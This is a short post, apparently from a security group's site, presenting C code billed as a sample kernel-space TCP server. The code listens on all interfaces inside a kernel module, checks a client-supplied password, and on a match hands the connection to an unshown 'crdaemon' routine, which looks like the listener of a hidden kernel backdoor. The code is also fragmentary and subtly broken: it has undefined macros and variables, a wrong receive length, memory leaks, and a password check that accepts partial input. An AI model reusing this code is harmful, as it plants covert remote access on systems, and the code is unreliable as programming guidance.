A SAMPLE FUNCTION THAT IMPLEMENT TCP SERVER THAT WORKS IN KERNEL SPACE
by : Antonius (cr0security.com)
the logic is pretty much the same as user space tcp server
this isn't a good sample, a good sample will implement asnychronous socket operation (note: asynchronous is different from non blocking )
create socket -> bind -> listen -> accept -> close (after finish receiving (FIN))
======================
static cr0 cr0security init_cr_this_mod(void *arg)
{
cr0sock server_sock,master_sock;
struct sockaddr_in server_addr;
struct sockaddr_in master_addr;
cr0 retme, my_sockaddr_len, master_sockaddr_len;
repeat_socket:
already = FALSE;
allow_signal(SIGKILL);
master_sock = NULL;
server_sock = NULL;
KERN
memset(&master_addr,0,sizeof(master_addr));
memset(&server_addr,0,sizeof(server_addr));
server_addr.sin_family = PF_INET;
server_addr.sin_port = htons(int_cr_kern_port);
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
my_sockaddr_len = sizeof(struct sockaddr_in);
master_sockaddr_len = sizeof(struct sockaddr_in);
result = sock_create(PF_INET, SOCK_STREAM, 0, &server_sock);
if(result < 0)
return -1;
if (server_sock==NULL)
return -1;
bind = server_sock->ops->bind(server_sock, (struct sockaddr *) &server_addr, my_sockaddr_len);
if (bind < 0)
return -1;
listen = server_sock->ops->listen(server_sock,SOMAXCONN);
if (listen < 0)
return -1;
KERN
master_sock = (struct socket *)server_sock;
retme = sock_create(server_sock->sk->sk_family, server_sock->type,server_sock->sk->sk_protocol, &master_sock);
master_sock->type = server_sock->type;
master_sock->ops = server_sock->ops;
retme = server_sock->ops->accept(server_sock, master_sock, 0);
if ((retme < 0) || (master_sock ==NULL))
return -1;
else
retme = master_sock->ops->getname(master_sock,( struct sockaddr *)&master_addr, &my_sockaddr_len, 2);
if (master_sock == NULL)
return -1;
Length = sprintf(cr0_buffer, "%s",the_pass);
cr_send(master_sock, cr0_buffer, Length);
END
while ((1) && (already == FALSE)) {
sockbuffer = kmalloc(256,GFP_KERNEL);
KERN
Length2 = cr_recvmsg(master_sock, sockbuffer, sizeof(sockbuffer));
END
if (Length2 > 0) {
KERN
panjang = strlen(password) - 1;
clean_buffer = kmalloc(panjang,GFP_KERNEL);
orig_len = panjang;
clean_buffer = crtruncate(sockbuffer,panjang);
total_pass = panjang + 10;
mypassword = kmalloc(total_pass,GFP_KERNEL);
sprintf(mypassword,"%s%s%s",password,null_terminate,null_terminate);
END
if(strstr(mypassword,clean_buffer)) {
kfree(sockbuffer);
kfree(mypassword);
kfree(clean_buffer);
goto letmein;
}
else {
kfree(sockbuffer);
kfree(mypassword);
kfree(clean_buffer);
goto wrongway;
}
}
kfree(sockbuffer);
}
wrongway:
resumer(master_sock,master_addr);
if (master_sock != NULL)
sock_release(master_sock);
if (server_sock != NULL)
sock_release(server_sock);
goto repeat_socket;
letmein:
gmon_ops_return = crdaemon(master_sock,master_addr);
if (master_sock != NULL)
sock_release(master_sock);
if (server_sock != NULL)
sock_release(server_sock);
goto repeat_socket;
//do {} while(!kthread_should_stop());
return 0;
}